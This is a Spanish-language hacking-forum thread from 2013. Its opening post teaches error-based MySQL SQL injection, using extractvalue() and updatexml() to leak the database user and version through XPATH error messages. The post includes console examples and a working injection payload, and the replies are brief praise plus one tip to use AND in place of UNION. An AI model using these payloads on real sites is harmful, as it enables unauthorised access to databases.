This site uses cookies own and third. If you continue to browse consider to accept the use of cookies. OK More Info.

MYSQLI EB con extractvalue() and updatexml()

  • 5 Replies
  • 4228 Views

0 Members and 1 Guest are viewing this topic.

Offline q3rv0

  • *
  • Underc0der
  • Posts: 207
  • Actividad:
    0%
  • Reputación 1
  • %ERRORLEVEL%
    • View Profile
    • q3rv0
    • Email

MYSQLI EB con extractvalue() and updatexml()

  • on: July 26, 2013, 02:17:37 pm
MYSQLI EB con extractvalue()


Quien conozca de inyecciones sabe bien que para explotar una Mysqli error based  es necesario utitlizar las funciones floor() y rand() .




Pero hay otra manera que se basa en aprovechar otro tipo de error, incluso es mucho mas sencilla de interpretar ademas de ser un vector corto y eficaz.

Leyendo el blog de Dmitry Evteev en una entrada que habia publicado en el 2009 (bastante viejita ya), encontre una forma de explotar un error based de una manera que llamo poderosamente mi atencion.

La funcion extractvalue() sirve para extraer valores de un elemento XML, por ejemplo tenemos la siguiente cadena:

Code: (xml) You are not allowed to view links. Register or Login
<b>q3rv0</b>
Si quieramos extraer la palabra q3rv0 lo realizariamos de la siguiente manera.

Code: (mysql) You are not allowed to view links. Register or Login
mysql> select extractvalue('<b>q3rv0</b>', '/b');
+------------------------------------+
| extractvalue('<b>q3rv0</b>', '/b') |
+------------------------------------+
| q3rv0                              |
+------------------------------------+
1 row in set (0.00 sec)

mysql>

La manera de aprovechar esta funcion para que nos devuelva informacion es obligarla a realizar un error de sintaxis.

Que pasa si introducimos la funcion user() en el argumento que es utilizado para extraer ciertos valores.
Code: (mysql) You are not allowed to view links. Register or Login
mysql> select extractvalue('<b>q3rv0</b>', user());
ERROR 1105 (HY000): XPATH syntax error: '@localhost'

Como vemos nos arroja el error, ademas del usuarios en la db.

El problema es que lo muestra entrecortado, para eso vamos a concatenar la salida.
Code: (mysql) You are not allowed to view links. Register or Login
mysql> select extractvalue('<b>q3rv0</b>', concat(0x7e, user()));
ERROR 1105 (HY000): XPATH syntax error: '[email protected]'

Como podemos llevarla acabo mediante una inyeccion?

De la siguiente manera.

You are not allowed to view links. Register or Login union select extractvalue(1, concat(0x7e, version()))--






Mysqli EB con updatexml()

Para este tipo de metodo utilizaremos la funcion llamada updatexml(), los creditos se los lleva Arthusu por la info.

Dicha funcion sirve para actualizar un elemento xml por otro.

Tenemos el siguiente codigo.

Code: (xml) You are not allowed to view links. Register or Login
<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>
La sintaxis de updatexml() es la siguiente:

Code: (mysql) You are not allowed to view links. Register or Login
updatexml('cadena', 'xpath_expr', 'cadena actualizada')
Entonces si quisieramos actualizar la porcion de codigo <h1>underc0de</h1> y cambiarlo por <h1>underc0de Rulz</h1> lo hariamos de la siguiente manera.

Code: (mysql) You are not allowed to view links. Register or Login
mysql> select updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>','/h1', '<h1>Underc0de Rulz</h1>');
+--------------------------------------------------------------------------------------------------------------+
| updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>','/h1', '<h1>Underc0de Rulz</h1>') |
+--------------------------------------------------------------------------------------------------------------+
| <b>jlkjslakjslka</b><h1>Underc0de Rulz</h1><i>kjaslkjalskjlaksj</i>                                          |
+--------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql>

Entonces para generar un error en la funcion podemos reemplazar el xpath_expr por nuestra consulta deseada.
Code: (mysql) You are not allowed to view links. Register or Login
mysql> select updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>',user(), '<h1>Underc0de Rulz</h1>');
ERROR 1105 (HY000): XPATH syntax error: '@localhost'
mysql>

Concatenamos y obtenemos el resultado completo.

Code: (mysql) You are not allowed to view links. Register or Login
mysql> select updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>',concat(0x7e, user()), '<h1>Underc0de Rulz</h1>');
ERROR 1105 (HY000): XPATH syntax error: '[email protected]'
mysql>





Referencia: You are not allowed to view links. Register or Login
« Last Edit: November 23, 2014, 02:19:06 pm by Expermicid »
Web: You are not allowed to view links. Register or Login

Twitter: You are not allowed to view links. Register or Login

Offline naile

  • *
  • Underc0der
  • Posts: 2
  • Actividad:
    0%
  • Reputación 0
    • View Profile

Re:MYSQLI EB con extractvalue()

  • on: July 26, 2013, 03:03:35 pm
Muy bueno, no conocía ese método.

Offline M5f3r0

  • *
  • Underc0der
  • Posts: 44
  • Actividad:
    0%
  • Reputación 0
  • Leer la firma.
    • View Profile

Re:MYSQLI EB con extractvalue()

  • on: July 26, 2013, 04:28:24 pm
Excelente, yo también desconocía de esto. Sigue así!



;D Saludos.
« Last Edit: July 26, 2013, 04:35:33 pm by m5f3r0 »
A veces, observo mi pasado y me arrepiento en la actualidad de todo lo que llegue a perder y olvidar por como me veía la sociedad, nunca dejes que las opiniones de los demás te lleguen a afectar moralmente hasta el punto en que dejes de hacer lo que más te apasiona, saludos! (msj escrito en el 2016)

Offline Muppet

  • *
  • Ex-Staff
  • *****
  • Posts: 405
  • Actividad:
    0%
  • Country: 00
  • Reputación 0
    • View Profile
    • Email

Re:MYSQLI EB con extractvalue()

  • on: July 26, 2013, 11:52:08 pm
Muy bueno, te felicito!
Entonces él dijo, "cruzad con vuestras tropas y atacad porque es lo único que le queda a nuestro pueblo...".

Offline arthusu

  • *
  • Ex-Staff
  • *****
  • Posts: 551
  • Actividad:
    0%
  • Reputación 2
  • Yo solo se que no se nada - Socrátes
    • View Profile
    • Arthusu BLOG

Re:MYSQLI EB con extractvalue()

  • on: July 27, 2013, 12:25:56 am
Muy bueno q3rv0 +Karma por cierto no es necesario usar union select puedes usar un and  :P ademas no solo puede usar extractvalue sino tambien updatexml, salu2 bro :-) buen post :P
« Last Edit: July 27, 2013, 12:30:06 am by arthusu »
Pentest - Hacking & Security Services

Contact me: [email protected]

Offline q3rv0

  • *
  • Underc0der
  • Posts: 207
  • Actividad:
    0%
  • Reputación 1
  • %ERRORLEVEL%
    • View Profile
    • q3rv0
    • Email

Re:MYSQLI EB con extractvalue()

  • on: July 27, 2013, 04:59:16 pm
You are not allowed to view links. Register or Login
Muy bueno q3rv0 +Karma por cierto no es necesario usar union select puedes usar un and  :P ademas no solo puede usar extractvalue sino tambien updatexml, salu2 bro :-) buen post :P

Actualizado!

Gracias bro por la info
Web: You are not allowed to view links. Register or Login

Twitter: You are not allowed to view links. Register or Login